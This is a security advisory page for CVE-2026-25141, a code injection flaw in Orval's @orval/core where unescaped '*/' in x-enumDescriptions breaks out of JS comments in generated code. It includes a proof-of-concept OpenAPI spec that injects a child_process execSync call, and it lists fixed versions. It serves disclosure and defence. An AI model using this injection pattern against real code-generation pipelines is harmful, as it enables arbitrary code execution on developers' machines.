Advisory

GHSA-gch2-phqh-fg9q

Also known as: CVE-2026-25141

Summary

Orval has Code Injection via unsanitized x-enum-descriptions using JS comments

Details

CVE-2026-23947 had an incomplete fix

While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.

Example:

openapi: 3.0.4
info:
  title: Enum PoC
  version: "1.0.0"

paths:
  /ping:
    get:
      operationId: ping
      responses:
        "200":
          description: ok
          content:
            application/json:
              schema:
                $ref: "#/components/schemas/EvilEnum"

components:
  schemas:
    EvilEnum:
      type: string
      enum:
        - PWNED
      x-enumDescriptions:
        # "pwned */ }; import('child_process').then(cp => cp.execSync('touch pwned')); const a = { /*"

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-01-30 21:17 UTC
Modified
2026-02-04 04:11 UTC

Affected packages and fixes

@orval/core

npm · All systems

Affected

  • introduced 7.19.0, fixed 7.21.0 (semver)

Fixed versions

7.21.0

Fix

@orval/core

npm · All systems

Affected

  • introduced 8.0.0, fixed 8.2.0 (semver)

Fixed versions

8.2.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences